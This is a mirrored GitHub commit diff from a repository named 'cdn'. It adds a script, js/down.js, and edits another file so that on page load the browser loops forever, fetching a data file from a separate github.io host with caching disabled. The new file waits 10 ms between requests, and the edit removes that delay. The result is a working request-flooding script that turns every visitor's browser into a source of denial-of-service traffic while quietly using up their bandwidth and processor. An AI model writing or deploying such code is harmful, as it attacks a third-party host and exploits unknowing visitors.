mirror of
https://github.com/hexahigh/cdn.git
synced 2025-12-11 20:15:22 +01:00
e
This commit is contained in:
parent
6f19503b92
commit
312fc1a48b
@ -37,13 +37,7 @@ if(resppage = true){
|
||||
|
||||
window.onload = async function startdown(){
|
||||
while(true) {
|
||||
await delay(10);
|
||||
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
|
||||
}
|
||||
}
|
||||
window.onload = async function startdown2(){
|
||||
while(true) {
|
||||
await delay(10);
|
||||
//await delay(10);
|
||||
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
|
||||
}
|
||||
}
|
||||
13
js/down.js
Normal file
13
js/down.js
Normal file
@ -0,0 +1,13 @@
|
||||
// Set delay to ms
|
||||
function delay(milliseconds){
|
||||
return new Promise(resolve => {
|
||||
setTimeout(resolve, milliseconds);
|
||||
});
|
||||
}
|
||||
|
||||
window.onload = async function startdown(){
|
||||
while(true) {
|
||||
await delay(10);
|
||||
await fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"})
|
||||
}
|
||||
}
|
||||
Loading…
x
Reference in New Issue
Block a user